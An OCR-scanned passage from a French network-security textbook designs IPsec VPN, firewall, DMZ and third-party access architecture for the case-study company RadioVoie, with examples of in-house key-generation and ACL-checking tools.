Mecanismes de securite a deployer entre les sites 



Le cout financier etant un critere important pour une PME, Radio Voie opte pour un equi- 
pement permettant a la fois de creer des tunnels IPsec et d'integrer des fonctions de 
filtrage de protocoles. 

Les parametres du tunnel IPsec ainsi que le filtrage des protocoles sont soigneusement 
dermis prealablement a toute implementation dans les equipements. 

Le large choix d' equipements IPsec certifies par 1'ICSA (International Computer Secu- 
rity Association) et offrant des services de reseau prive virtuel est recapitule au 
tableau 16.2. 

Apres etude approfondie, RadioVoie opte pour le boitier VPN/IPsec VPN Router Family 
de Nortel, qui inclut toutes les fonctions de securite necessaires, limitant de ce fait les 
couts financiers. 
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Tableau 16.2 Equipements IPsec certifies par NCSA 



Societe 


Produit 


Version 


OS 


Check Point Software 


Checkpoint Secure Platform Al R55 


R55 


Customized 
Linux 


FortiNet Inc. 


FortiGate-60 


2.80,build208,040924 


Proprietaire 


Intoto Inc. 


i Gateway 


3.3SP1P25 


Proprietaire 


Juniper Networks 


Netscreen Security Gateway Produit 
Group 


5.0.0r4 


Proprietaire 


Lucent Technologies 


Lucent VPN Firewall IPsec Produit 
Group 


8.0.302 


Proprietaire 


Nortel Networks 


Nortel VPN Router Family 


05_05.702 


Proprietaire 


Secure Computing Corporation 


Sidewinder G2 Firewall 


6.1.0.00 


Proprietaire 


SonicWALL 


SonicWALL Internet Security Produit 
Family 


2.5.1.0-10e 


Proprietaire 


Stonesoft Corporation 


StoneGate Firewall 


2.5.1 


Customized 
Linux 


ZyXEL Communications 
Corporation 


ZyWALL Produit Series Family 


3.64 


ZyNOS V3.64 



Bien que le cumul de fonctions de securite ne soit jamais recommande, la configuration 
des regies de securite du boitier est a priori stable dans le temps. La configuration initiale 
demande toutefois 1' intervention d'un expert. 

La famille de boitiers VPN permet de monter des tunnels IPsec avec des algorithmes de 
chiffrement symetrique DES, 3DES, AES et RC4 et des fonctions de hachage MD5 et 
SHA-x. 

Les methodes d'authentification des utilisateurs s'appuient sur RADIUS, LDAP, Secu- 
relD, des certificats X.509, etc. 

Les clients VPN/IPsec sont disponibles pour la plupart des plates-formes (Microsoft 95, 
98, 2000, etc., IBM-AIX, SUN-Solaris, HP-UX, Linux). 

Deux boitiers VPN/IPsec sont necessaires. lis doivent etre connectes avant l'equipement 
d' interconnexion au reseau Internet fourni par l'operateur de telecommunications, 
comme l'illustre la figure 16.9. 



Figure 16.9 

Interconnexions des 
sites de RadioVoie par 
des boitiers IPsec 




Filtrage des flux reseau 



Internet 




Routeur^ VPN 
IPsec 



Chiffrement des donnees 
dans un tunnel IPsec 
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Les boitiers assurent la fonction de chiffrement mais peuvent egalement filtrer le flux 
reseau au sein du tunnel IPsec. 

Le flltrage des protocoles peut etre assure par le boitier, qui integre au sein du tunnel un 
pare-feu de type filtrage dynamique implementant de nombreuses options de filtrage du 
traflc. L'avantage de ce type de flltrage est qu'il permet de pallier les limites du flltrage 
statique, qui ne couvre pas 1' allocation dynamique des ports sources. 

II va de soi que l'exposition d'un boitier a Internet presente un risque de securite, qu'il est 
necessaire de couvrir par l'ajout de filtrages complementaires. 

Puisque RadioVoie dispose d'un routeur, il est possible d'utiliser ses capacites filtrantes 
pour assurer un premier « nettoyage » des flux en provenance d' Internet (principe du 
routeur choke). Le routeur filtre done les flux polluants, comme les connexions 137/UDP 
en provenance des stations de travail Windows mal configurees. En fait, il n'accepte que 
les flux IPsec. 

II est aussi possible de monter une zone demilitarisee (DMZ) sur le pare-feu et de mettre 
la patte externe du tunnel IPsec sur la DMZ et la patte interne sur une autre DMZ. Ainsi 
le pare-feu controle les deux cotes du boitier. 

Cette solution de pare-feu est done mise en place pour assurer un veritable service de 
flltrage, comme illustre a la figure 16.10. 



Filtrage des flux reseau 
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Chiffrement des donnees 
dans un tunnel IPsec 



Figure 16.10 

Filtres mis en place entre les sites de RadioVoie 



Pour le tunnel IPsec cree entre les deux boitiers VPN/IPsec, RadioVoie retient les options 
ESP (Encapsulating Security Payload) en mode tunnel, avec une authentication fondee 
sur des cles prealablement generees et installees manuellement dans les boitiers. 

Les regies de filtrage du traflc non chiffre prennent comme parametres le type de protocole, 
la direction du flux de traflc, les adresses source et destination IP, les ports source et desti- 
nation et l'etablissement de la connexion TCP. Les filtrages sont bien entendus appliques 
avant le chiffrement ou apres le dechiffrement des paquets a emettre ou a recevoir. 

En dehors des regies de filtrage, le pare-feu protege des attaques reseau classiques, telles 
que l'inondation SYN (SYN flooding), le bombardement UDP (UDP bombing), les atta- 
ques de type smurf, etc. 
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Le tableau 16.3 recense les produits pare-feu certifies par 1'ICSA. 

Tableau 16.3 Produits pare-feu certifies par NCSA 



Societe 


Produit 


OS 


Balabit IT Security 


Zorp Professional 


Linux 


Check Point Software 


Check Point SecurePlatform NG 


Linux 


Cisco Systems 


Cisco IOS Router Firewall 2821, 3725, 2651 XM, 7206 VXR w/ NPE-G1, 
3845, 281 1 , 7204 XVR, 2851 , 1 841 , 3825, 2801 , 7301 


Proprietaire 


Global Technology Associates Inc. 


GB-250, GB-2000, GB-750, GB-500, GB-Ware 


Proprietaire 


Ingate 


Ingate Firewall 1600 


Proprietaire 


Multitech 


RF660VPN, RF600VPN, RF760VPN 


Linux 


SonicWALL 


Pro 5060, TZ 1 70 SP Wireless, Pro 2040, TZ 1 70 SP, TZ 1 70 SP, TZ 1 70, 
TZ 170 Wireless, Pro 3060 


Proprietaire 


SonicWALL 


TZ1 70 SP Wireless 


Proprietaire 


VarioSecure Networks Inc. 


VarioSecure 


Proprietaire 



Solution securisee des acces a distance des commerciaux au site de Paris 

En accord avec la politique de securite reseau, les acces a distance des commerciaux 
s'effectuent au travers d'Internet pour atteindre le point d'acces reseau du site de Paris, 
c'est-a-dire le boitier VPN/IPsec. 

Internet peut etre atteint par des points d'acces telephoniques mais egalement depuis une 
entreprise reliee a Internet, comme illustre a la figure 16.1 1. 

Les tunnels entre le poste du commercial et le pare-feu s'etablissent de la fa^on suivante : 

1. L'ordinateur portable du commercial etablit une connexion PPP avec le point d'acces 
du reseau ou le concentrateur d'acces LAC (L2TP Access Concentrator) gere par un 
fournisseur ou operateur reseau. 

2. Suite aux informations fournies par le protocole PPP (Point-to-Point Protocol), le 
LAC initie une connexion L2TP avec le serveur reseau, ou LNS (L2TP Network 
Server), du site de destination, c'est-a-dire l'equipement d' interconnexion gere par 
un fournisseur ou operateur reseau. 

3. Comme le stipule la politique de securite, l'utilisateur fournit une authentification 
appropriee pour que le tunnel chiffre puisse etre etabli. 

4. Une fois le tunnel L2TP etabli, une session IPsec entre l'ordinateur portable du 
commercial et le pare-feu peut etre etablie afin de securiser les donnees transmises. 

Pour 1' authentification des utilisateurs, plusieurs solutions sont possibles au niveau du 
pare-feu, telles que des serveurs d' authentification gerant comptes et mots de passe, des 
tokens, des certificats, etc. 

Une fois 1' authentification acceptee et le tunnel etabli, la connexion entre 1' entreprise et 
l'utilisateur se deroule comme illustre a la figure 16.12. 
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Figure 16.11 

Acces distants au site de Paris 



Figure 16.12 

Connexion via le tunnel 
IP sec etabli pour les 
acces distants 
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VPN IPsec 
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Tunnel IPsec 
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Point Commercial 
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Le tunnel part directement de la machine du commercial, qui chiffre done les flux via un 
logiciel client, puis transite au travers d' Internet pour arriver au boitier IPsec de l'entre- 
prise, ou les flux sont dechiffres et ou les controles d'acces filtrent les flux reseau. 

Malgre le sentiment de securite procure par IPsec, certains risques demeurent. IPsec 
n'etant qu'une interface reseau supplementary pour la station de travail, la station peut 
etre utilisee sciemment ou non comme relais pour acceder au reseau d'entreprise, comme 
l'illustre la figure 16.13. 



RadioVoie, du reseau initial au premier gros contrat 



469 



Chapitre 16 



Figure 16.13 

Attaque par re bond sur 
un tunnel IP sec 




Client 
VPN IPsec 



Point Commercial 

d'acces 



Sur cette figure, l'intrus prend le controle de la machine du commercial par l'interme- 
diaire d'un cheval de Troie ou en rebondissant sur un relais applicatif installe sur la 
machine, qui masque son adresse IP. L'intrus dispose de ce fait des memes droits reseau 
que l'utilisateur distant dont le systeme a ete penetre. 

Pour reduire ce risque, RadioVoie configure les boitiers VPN/IPsec de Nortel en desacti- 
vant la fonction Split Tunneling. Cela provoque une modification du comportement 
reseau de la machine distante. Le client modifie toutes les routes, y compris la route 
locale (localhost), afin que tous les paquets soient routes via le tunnel IPsec. II n'est plus 
possible pour un intrus d'utiliser la machine comme relais. 

Reste un dernier risque : un paquet infecte ne necessitant pas necessairement de reponse 
reseau (avec le protocole UDP, par exemple) peut affecter une machine. Un vers de type 
SQL Hammer, par exemple, si la station heberge un serveur MS-SQL, est une menace 
pour l'entreprise malgre toutes les precautions prises. 

Rappelons que la politique de securite stipule, pour faire face a un tel risque, que le client 
soit protege d' Internet, autrement dit que son trafic reseau soit filtre par un pare-feu 
personnel et que la configuration de celui-ci ne soit pas modifiable par l'utilisateur. 

Solution securisee pour la relation Internet 

Afin de respecter la politique de securite Internet, RadioVoie met en place 1' architecture 
illustree a la figure 16.14. 

L' ensemble de la solution repose sur un commutateur entierement dedie. Ce commuta- 
teur utilise la fonction de filtrage d'adresses MAC pour s'assurer que les paquets vien- 
nent bien des machines connues. Seule la connexion entre le pare-feu et le reseau bureau- 
tique est rattachee au commutateur de l'entreprise. 

Chaque reseau est specialise dans un type de service : 

• Le lien Internet sert a heberger les machines sans protection (ici le routeur). 

• La DMZ entrante sert a l'accueil des trafics a l'initiative d'Internet. 
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• La DMZ sortante sert a l'accueil des traflcs qui sortent vers Internet, ainsi que des 
traflcs retour. 

• La DMZ interco sert a isoler et filtrer le traflc en provenance du boitier IPsec. 

• Le dernier lien est rattache au reseau bureautique. 

Pour la messagerie, les flux reseau autorises sont les suivants : 

• Les messages sortants passent obligatoirement par le serveur de messagerie interne, 
equipe d'un antivirus, qui les reachemine au MX (Mail eXchanger), ou relais de 
messagerie, de courrier sortant, egalement equipe d'un antivirus, lequel les envoie vers 
Internet. Le MX de courrier sortant n'accepte que les courriers en provenance du 
serveur de messagerie interne et signes avec le nom de domaine de l'entreprise. 

• Les messages entrants passent obligatoirement par le MX de courrier entrant, equipe 
d'un antivirus, qui les reachemine uniquement vers le serveur de messagerie interne. 
Le MX de courrier entrant est configure pour ne relayer que les messages envoyes vers 
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le domaine de l'entreprise. II est egalement equipe d'une solution de filtrage du cour- 
rier par analyse du contenu pour lutter contre le Spam et les virus. 

• Le serveur de messagerie interne heberge les boites aux lettres et est equipe d'une solu- 
tion antivirus arm de prevenir la propagation d'un virus exclusivement en interne. 

Les flux reseau autorises pour obtenir une resolution de nom DNS sur le reseau Internet 
sont les suivants : 

• La station de travail emet sa demande vers le serveur de noms cache DNS interne de 
l'entreprise. 

• Le serveur cache DNS interne relaie la demande vers la DMZ sortante au serveur DNS 
cache installe sur le cache DNS externe arm d'optimiser les flux de messagerie. 

• Le cache DNS externe va chercher la reponse et la renvoie au serveur cache DNS 
interne. 

• Le cache DNS interne renvoie la reponse au demandeur. 

Les flux reseau autorises pour l'acces a Internet (HTTP, FTP, etc.) se deroulent de la 
fa^on suivante : 

1. Les stations de travail se connectent a Internet via leur navigateur. 

2. De maniere transparente, le pare-feu valide l'URL demandee par rapport aux autori- 
sations installees dans la solution de filtrage d'URL. 

3. Si l'URL peut passer, le pare-feu envoie l'URL ou le flux FTP demande vers le relais 
applicatif (proxy). 

4. Le relais applicatif envoie l'URL ou le flux FTP demande vers le serveur antivirus. 

5. Le serveur antivirus va chercher l'information demandee, valide son contenu et la 
renvoie au relais applicatif. 

6. Le relais applicatif renvoie la reponse au pare-feu. 

7. Le pare-feu renvoie la reponse au navigateur du client. 

Les flux reseau autorises pour la relation avec le serveur AAA (Authentication, Authori- 
zation and Accounting) en charge de la gestion des comptes des commerciaux utilisant 
IPsec se deroulent de la fa^on suivante : 

1. Le boitier IPsec regoit des donnees d'authentification. 

2. II demande au serveur AAA de les valider. 

3. Le serveur repond. 

4. Le tunnel est autorise ou non. 

Les flux reseau autorises pour la relation entre le boitier IPsec et le reseau bureautique 
sont les flux de type HTTP, FTP, etc. lis sont reachemines vers la solution antivirus de la 
meme maniere qu'est reachemine le trafic sortant de l'entreprise. 
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Quelle que soit la provenance du flux, tous les flux non autorises sont bloques et font l'objet 
d'une trace (log). Tous les flux transitant par les relais applicatifs divers (relais applicatifs, 
serveur antivirus, relais de courrier, serveur de flltrage d'URL, etc.) font l'objet d'une trace. 
Ces traces sont archivees selon les desiderata de la politique de securite. 

Certaines de ces fonctions peuvent se trouver regroupees sur une meme machine. Le 
relais applicatif, par exemple, peut egalement etre un cache DNS externe, tout comme le 
cache DNS interne peut etre installe sur la meme machine que le MX de courrier sortant. 
On peut imaginer que le serveur antivirus et le flltre d'URL partagent egalement une 
meme machine. 

Risques reseau couverts 

De par 1' architecture adoptee, RadioVoie a la garantie que les entites capables d'etablir 
un tunnel IPsec sont connues et autorisees. 

Tous les flux susceptibles d'atteindre le reseau interne de l'entreprise depuis l'exterieur 
sont controles et flltres. Tous les flux connus pour etre vecteurs de risque (HTTP, FTP, 
SMTP, etc.) font l'objet d'un controle particulier au niveau applicatif afln d'etre nettoyes 
de tout virus ou attaque. 

L'entreprise ne peut etre utilisee pour la propagation de Spam et peut lutter contre le 
Spam qui l'atteindrait. De plus, une attaque eventuelle depuis Internet sur le commuta- 
teur externe ne permet pas d'atteindre le reseau bureautique. 

Le serveur AAA qui heberge les details sur les comptes et les methodes d'authentiflca- 
tion autorisees peut difflcilement etre atteint par une personne non autorisee. L'entreprise 
peut disposer d'une trace de tous les traflcs reseau entre son reseau bureautique et un 
quelconque autre reseau. 

Risques reseau non couverts 

Si le pare-feu est franchi ou ignore, tous les reseaux de l'entreprise peuvent etre touches. 
Si le pare-feu ou le commutateur externe est compromis, c'est toute la solution Internet 
qui peut etre mise en deni de service. Si le commutateur externe est compromis, la confl- 
dentialite, l'authenticite et l'integrite des flux de tous les reseaux peuvent egalement etre 
compromis. 

Si un intrus reussit a prendre le controle d'une machine acceptant les flux entrants, 
comme le MX de courrier entrant, grace a une faille de securite, par exemple, il peut 
retenter cette attaque sur le serveur de messagerie interne. S'il reussit a nouveau, le 
reseau bureautique entier peut etre compromis. 

Si une attaque permet de passer outre le boitier IPsec, l'attaquant peut beneflcier des 
memes autorisations que le plus privilegie des utilisateurs du boitier. 
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Tableau de bord de securite 

Apres avoir deflni la politique de securite ainsi que les solutions associees, cette section 
detaille les principaux controles a mettre en place, fournit des elements de verification 
fondes sur les outils maison et decrit un exemple de tableau de bord de la securite reseau. 

Les controles de securite 

RadioVoie a prevu des controles de securite a de multiples niveaux dans son reseau. 

Au niveau du commutateur, un reseau virtuel logiquement isole de tous les autres reseaux 
de l'entreprise est installe. Ce reseau utilise un plan d'adressage incompatible avec le 
reseau et n'a aucune relation avec les autres reseaux au-dela du niveau 2 du modele OSI. 
Sa faiblesse reside done dans le commutateur. 

Ce reseau, destine exclusivement a la supervision et au controle de securite du commuta- 
teur, heberge une machine chargee des taches suivantes : 

• Surveiller l'etat du commutateur via des requetes SNMP. 

• Collecter via SSH v2 (protocole chiffre) la configuration du commutateur et 1' analyse. 
La frequence de l'analyse est fonction de qui l'effectue, 1'homme ou la machine. En 
cas d'erreur, la solution releve une erreur sur sa console afln d' alerter l'equipe securite 
ou reseau. Les configurations collectees sont historisees. 

L'adresse sur le commutateur permettant d'acceder a ces services a risque est unique- 
ment celle situee sur le VLAN de supervision. Cela signifle que le commutateur ne peut 
etre administre que depuis ce meme VLAN. 

Grace a 1' architecture Internet, qui place le pare-feu comme goulet d'etranglement pour 
tous les traflcs reseau a 1' exception de ceux visant le routeur depuis Internet, il est possi- 
ble, pour les relations avec l'exterieur, de tracer, voire d'ecouter tous les flux reseau. 

Le pare-feu peut tracer tous les traflcs, autorises ou non, et, selon la solution choisie, 
ecouter le reseau. 

Pour s'assurer de la nature de tous les flux reseau echanges par l'entreprise avec l'exte- 
rieur, il faut recuperer les traces du routeur, du pare-feu et du bolder IPsec. II faut egale- 
ment collecter les traces du serveur d' authentication AAA afln de s'assurer de la legiti- 
mite des connexions effectuees au travers de cette solution ainsi que des tentatives 
possibles de penetration d'un compte. 

L' ensemble de ces informations peut etre concentre sur un systeme disposant d'un logi- 
ciel correlateur d'evenements. Cela permet de detecter rapidement les tentatives d'infrac- 
tion de securite tout en evitant trop de faux positifs. 

Des audits de securite sont prevus a echeance reguliere sur les solutions afln de s'assurer 
de leur efflcacite. Ces audits peuvent inclure des tests de penetration et de verification de 
la configuration par rapport a un standard, etc. 

Le cas echeant, il reste possible d'ajouter une sonde d'intrusion. Rappelons que, contrai- 
rement a son nom, une sonde d'intrusion detecte rarement les intrus. Sa fonction est de 
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detecter des comportements reseau anormaux, dermis comme tels par 1'administrateur de 
la sonde, et de les relever comme une alerte de securite potentielle (il peut exister des 
degres d' alerte). Ces sondes sont parfaitement adaptees pour detecter les comportements 
reseau associes a des infections en provenance de vers (worms) ou a des attaques sur des 
services reseau comme FTP ou HTTP. 

S'il s'agit d'une sonde preventive d' intrusion, celle-ci peut de surcroit detecter des evolu- 
tions anormales de trafic reseau sur tel ou tel flux specifique (le port Netbios, par exem- 
ple), et ainsi relever une montee en puissance suspecte de ce flux, signe caracteristique 
d'un ver. 



Mise en oeuvre des outils maison 

Cette section detaille la generation et la verification des secrets pour des acces distants, 
ainsi que la verification de la consistance des ACL reseau. 

Gestion de secrets 

Comme indique precedemment, des secrets partages doivent etre crees pour authentifier 
les connexions fondees sur le protocole IPsec. La gestion de secrets etant souvent deli- 
cate, nous utilisons notre outil GENPASS pour les gerer. 

Nous generons une cle de maniere pseudo-aleatoire. Elle sera la cle maitresse pour la 
generation deterministe des autres cles : 

margot/16.2$ cat generate. sh 

# Generate the domain key 

rm ./key. domain. com 

umask 077 

genpass -r -1 256 -a ' [0-9a-zA-Z] ' 

chmod 400 ./key. domain. com 



-s 'domain.com' > ./key. domain. com 



Le fichier key.domain.com contient la cle maitresse. II est compose de 256 caracteres 
choisis par ' [0-9a-zA-Z] \ 

Nous generons de maniere deterministe la cle pour l'utilisateur cedr i c . 1 1 orens : 

# Generate the key for cedric 11 orens 
echo "cle pour cedric 11 orens"; 
DOMAIN=key. domain. com; ACCOUNT=cedric.l 1 orens; 

genpass -d -f ./key. domain. com -1 56 -a ' [0-9a-zA-Z] ' SDOMAIN SACCOUNT 
0JTEgstcsKhaW76jgRWNiSLlTB0kV24NLUlACkXbodhckc98XD78E01P 

de meme que celle pour l'utilisateur deni s . val oi s : 

# Generate the key for denis valois 
echo "cle pour denis valois"; 
DOMAIN=key . domai n . com; ACCOUNT=deni s . val oi s ; 

genpass -d -f ./key. domain. com -1 56 -a ' [0-9a-zA-Z] ' SDOMAIN SACCOUNT 
0JTEgstcsKhaW76jgRWNiSLlTB0kV24NLUlACkXbodhckc98XD78E01P 

et celle pour l'utilisateur laurent.levier : 
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# Generate the key for laurent levier 

echo "cle pour laurent levier"; 

D0MAIN= key. domain. com; ACC0UNT=1 aurent. levier; 

genpass -d -f ./key. domain. com -1 56 -a ' [0-9a-zA-Z] ' SDOMAIN SACCOUNT 

gcVonrPsH0J0NEnt6KSqsFNkry2pMS4Vga67Z54ZESTSccIFCk7Xvkom 

Ces cles sont uniques et ne sont pas stockees dans une base de donnees. II suffit de connai- 
tre la cle maitresse et des parametres de generation pour retrouver ou controler les cles. 

Nous pouvons aussi generer d'autres cles pour d'autres usages, ainsi que controler ces 
cles si elles sont presentes dans des configurations d'equipements reseau et fournir ainsi 
des donnees utiles pour l'etablissement d'un tableau de bord de securite. 

Analyse des ACL 

Dans cette evolution de reseau, les ACL ont un role important et doivent etre veriflees 
arm de s'assurer quelles ne comportent pas d'inconsistances ou de redondances. 

Prenons l'exemple de l'ACL suivante : 



margot$ 
access- 
access- 
access- 
access- 
access- 
access- 
access- 
access- 
access- 
access- 
access- 
access- 
access- 
access- 



cat acl 



ist 100 

1st 100 

ist 100 

ist 100 

ist 100 

ist 100 

ist 100 

ist 100 

ist 100 

ist 100 

ist 100 

ist 100 

ist 100 

ist 100 



txt 

permit icmp any 10.10.10.0 0.0.0.255 echo 

permit icmp any 10.10.10.0 0.0.0.255 echo-reply 

permit tcp any gt 1023 host 10.10.10.1 eq 22 

permit ahp any host 10.10.10.2 

permit udp any gt 1023 host 10.10.10.2 eq domain 

permit udp any eq domain host 10.10.10.2 gt 1023 

permit tcp any gt 1023 host 10.10.10.2 eq domain 

permit tcp any eq domain host 10.10.10.2 gt 1023 

permit udp any host 10.10.10.3 eq isakmp 

permit esp any host 10.10.10.3 

permit ahp any host 10.10.10.3 

permit tcp any host 10.10.10.4 eq 443 

permit tcp any gt 1023 10.10.10.0 0.0.0.255 

permit tcp any eq 25 host 10.10.10.5 gt 1023 established 



Pour analyser cette configuration d' ACL, nous utilisons notre outil VACL de la maniere 
suivante : 

margot$ vacl -a acl .txt 

[3] access-list 100 permit tcp any gt 1023 host 10.10.10.1 eq 22 

[13] access-list 100 permit tcp any gt 1023 10.10.10.0 0.0.0.255 

*** redundancy [13] > [3] 

[7] access-list 100 permit tcp any gt 1023 host 10.10.10.2 eq 53 

[13] access-list 100 permit tcp any gt 1023 10.10.10.0 0.0.0.255 

*** redundancy [13] > [7] 

[12] access-list 100 permit tcp any host 10.10.10.4 eq 443 

[13] access-list 100 permit tcp any gt 1023 10.10.10.0 0.0.0.255 

*** redundancy [13] * [12] = permit tcp any gt 1023 host 10.10.10.4 eq 443 

[cedric@margot acl]$ 
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Les lignes 1 et 13 de l'ACL indiquent une premiere redondance, et les lignes 7 et 13 une 
seconde. II est done possible avec l'outil VACL de controler en profondeur les ACL et de 
fournir des donnees utiles pour l'etablissement d'un tableau de bord de securite. 

Exemple de tableau de bord de securite reseau 

Le tableau 16.4 recapitule les elements de 1' architecture reseau qui permettent d'etablir 
un tableau de bord de securite. 



Tableau 16.4 Exemples de donnees permettant de construire un tableau de bord 



Sous-reseau 

Intranet 



Recherche 



Intersite 



Internet 



Administration 



Categorie 

Configuration 

Evenement reseau 

Balayage reseau 
Configuration 

Evenement reseau 

Balayage reseau 
Configuration 



Evenement reseau 



Balayage reseau 
Configuration 



Evenement reseau 



Balayage reseau 
Configuration 
Evenement reseau 
Balayage reseau 



Element 

Des commutateurs (verification VLAN, analyse des configurations des 
VLAN, etc.) et routeurs (verification ACL, etc.) 

Des commutateurs (acces non autorises, acces autorises mais de sources 
imprevues, etc.) et routeurs (violation ACL, etc.) 

Sur les commutateurs, les routeurs, les LAN et les systemes connectes 

Du commutateur (verification VLAN, analyse des configurations des 
VLAN, etc.) 

Du commutateur (acces non autorises, acces autorises mais de sources 
imprevues, etc.) 

Sur le commutateur, les LAN et les systemes connectes 

Des commutateurs (verification VLAN, analyse des configurations des 
VLAN, etc.), routeurs (verification ACL, etc.), boitiers IPsec (verification des 
regies, etc.) et pare-feu (verification des regies, etc.) 

Des commutateurs (acces non autorises, etc.), routeurs (violation ACL, etc.), 
boitiers IPsec (sessions echouees, sessions intranet, etc.) et pare-feu (ses- 
sions echouees, sessions intranet, etc.) 

Sur les commutateurs, routeurs, boitiers IPsec, pare-feu, LAN (DMZ entrante, 
DMZ Interco) et systemes connectes 

Des commutateur (verification VLAN, analyse des configurations des 
VLAN, etc.), routeur (verification ACL, etc.), boitier IPsec (verification des 
regies, etc.) et pare-feu (verification des regies, etc.) 

Des commutateur (acces non autorises, etc.), routeur (violation ACL, etc.), 
boitier IPsec (sessions echouees, sessions Internet, etc.) et pare-feu (ses- 
sions echouees, sessions Internet, etc.) 

Sur les commutateur, routeur, boitier IPsec, pare-feu, LAN (DMZ entrante, 
DMZ sortante) et systemes connectes 

Des commutateurs (verification VLAN, analyse des configurations des 
VLAN, etc.) et routeurs (verification ACL, etc.) 

Des commutateurs (acces non autorises, acces autorises mais de sources 
imprevues, etc.) et routeurs (violation ACL, etc.) 

Sur les commutateurs, LAN et systemes connectes 



Le tableau de bord de securite peut etre constitue de nombreuses courbes suivant les 
domaines concernes. 
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Par exemple, si nous considerons que chaque equipement de securite remonte des evene- 
ments sur les acces reussis et echoues, revolution dans le temps du nombre de sessions 
reussies et echouees par utilisateur et par equipement permet de donner un point de vue 
sur la securite des acces au reseau de l'entreprise. 

La figure 16.15 illustre une forte probability de tentative de penetration entre les 
temps 1 et 2 (sessions reussies > 1) ainsi qu'une activite anormale de sessions 
echouees entre les temps 3 et 4. Une investigation de securite doit etre menee pour 
clarifier ces variations. 



Figure 16.15 

Evolution du nombre de 
sessions reussies et 
echouees par utilisateur et 
par equipement 
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RadioVoie sous-traite son service de support 

RadioVoie a constate qu'elle ne pouvait assurer un service de support vingt-quatre heures 
sur vingt-quatre et sept jours sur sept pour ses clients, car elle ne dispose pas des infras- 
tructures, outils et moyens financiers necessaires a un support de qualite. 

L'entreprise decide done de sous-traiter ce service a une entreprise tierce, qui le lui 
facture au temps homme consomme. 



Besoins a satisfaire 

Les besoins a satisfaire sont les suivants : 

• L'entreprise tierce partie a besoin d'acceder en permanence aux bases de connais- 
sance, mais egalement aux schemas techniques des produits, hormis la technologie 
revolutionnaire, pour assurer un support de qualite. 

• La base de connaissance est situee sur le reseau bureautique de l'entreprise. Le serveur 
de fichiers bureautique contient les schemas techniques. 
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Etude de risques 



Le risque principal reside dans 1' acces par une entreprise tierce a des donnees importan- 
tes localisees au sein du reseau bureautique de 1' entreprise. La methode d' acces aux 
donnees represente un risque supplemental. 

Une telle entreprise dispose de sa propre infrastructure, de sa propre politique de 
securite, si tant est qu'il existe une volonte de securite dans cette entreprise, de ses 
propres contraintes et de celles du pays ou elle est situee. Celles-ci ne sont pas neces- 
sairement acceptables pour Radio Voie, qui doit done negocier certaines d'entre elles 
et mettre en place des contre-mesures techniques destinees a pallier des failles de 
securite. 

Ces mesures peuvent etre appliquees au niveau reseau mais aussi au niveau applicatif. 



Politique de securite reseau 

D'apres les besoins a satisfaire et l'etude de risques, Radio Voie edicte une politique de 
securite reseau minimale constitute des regies suivantes : 

« U entreprise tierce partie accede uniquement aux informations dont elle a besoin 
pour assurer son service. » 

« Les informations auxquelles accede la tierce partie ne sont pas hebergees au sein du 
reseau bureautique. » 

« Chaque personne physique appartenant a la tierce partie qui accede au reseau de 
V entreprise est identifiee et est dotee d'un acces qui lui est propre. » 

« Lorsquune machine de la tierce partie est connectee au reseau, elle ne pent plus etre 
utilisee comme relais pour une autre machine. » 

« La machine de la tierce partie est protegee par une solution antivirus a jour agreee 
par V entreprise. » 

« La tierce partie dispose d'un acces de secours en cas de def alliance de V acces 
principal. » 

« L ' authenticity de V acces d'une tierce partie au reseau est garantie. » 

« La tierce partie ne peut acceder a Internet via la sortie de I 'entreprise. » 



Solution de securite 

La satisfaction de ce nouveau besoin peut etre resolue techniquement de la meme 
maniere que pour les acces distants des commerciaux. 

Si une tierce partie peut acceder au reseau DMZ interco, elle peut etre a meme d'ecouter 
les flux de donnees (alors en clair) et risque ainsi de compromettre la confidentialite des 
communications . 
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RadioVoie doit done modifier son architecture Internet pour separer les acces distants 
tierce partie de ceux de son reseau, comme illustre a la figure 16.16. 



Internet 



MXcourrier entrant 




Routeur 




Internet 



DMZ entrante 



VPN 
IPsec 



DMZ Interco 




*> 



RAS 
IPsec 



DMZ RAS 




Cache DNS 
MX courrier entrant externe Serveur AAA 



Pare-feu 



Cache DNS 
Interne 






DMZ sortante 




Relais applicatif Serveur Serveur 

HTTP, FTP, ... antivirus filtred'URL 



Serveur 

de messagerie 

interne 




Reseau bureautique 




4>«& 




Utilisateurs 



Figure 16.16 

DMZ dediees aux acces de la tierce partie 

Un nouveau reseau est cree. II s'agit d'une DMZ specialisee dans l'acces distant des tierces 
parties (DMZ RAS). La figure 16.17 detaille les modifications de la nouvelle proposition. 

Un boitier IPsec est dedie a la tierce partie (RAS IPsec). II est situe en parallele du boitier 
VPN IPsec deja utilise par RadioVoie, a cette difference pres que 1' interface interne est 
placee sur un reseau uniquement utilise par les tierces parties. 

Une solution d' acces par modem est egalement installee, comme l'exige la politique de 
securite. Cette solution est configuree avec une authentification de meme qualite que 
celle utilise sur les boitiers IPsec (hormis le chiffrement) et avec une contrainte de rappel 
(callback) d'un numero associe a chaque profil utilisateur. 

Afin d'eviter que la tierce partie n' accede au reseau bureautique, un serveur frontal est 
place dans la DMZ RAS. Ce serveur contient les donnees auxquelles la tierce partie a 
besoin d'acceder. II ne s'agit en fait que de deplacer le serveur precedemment situe dans 
le reseau bureautique. 
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Figure 16.17 
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les schemas 




Reseau bureautique 

Les schemas techniques toujours situes sur le reseau bureautique sont pousses vers ce 
serveur frontal par le serveur bureautique, evitant d' avoir un seul flux sortant du reseau 
DMZ RAS, sans discrimination de destination. 

Les contraintes placees par la solution VPN/IPsec (client garanti et deactivation du Split 
Tunneling) sont egalement appliquees a la tierce partie. 

Enfin, un accord contractuel regit les elements restants decoulant de 1' accord entre les 
parties (contraintes antivirus, etc.). 



Risques reseau couverts 

La solution adoptee permet a la tierce partie d'acceder aux informations dont elle a 
besoin, sans qu'aucun autre trafic n' entre dans un reseau de l'entreprise. La tierce partie 
se connecte de maniere securisee et chiffree et aboutit dans un reseau en cul de sac. 

En cas de panne, la tierce partie peut s'appuyer sur une solution de connexion par modem 
rappelant un numero fixe et prevenant ainsi le risque de piratage d'un compte. 

Le tunnel IPsec tient a jour des listes d' acces pour autoriser la tierce partie a n'acceder 
qu'au serveur de donnees qui lui est reserve. 

La tierce partie n'a aucune possibilite d'ecouter des informations interessantes sur ce 
reseau. 

A 1' autre extremite du tunnel IPsec, la machine de la tierce partie ne peut etre utilisee 
comme relais que pour atteindre le reseau DMZ RAS. 
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Risques reseau non couverts 

La solution d'acces distant par modem et le boitier IPsec sont places sur le meme reseau 
que la tierce partie. Si ces solutions disposent d'une administration a distance, elles 
peuvent etre attaquees depuis ce reseau. 

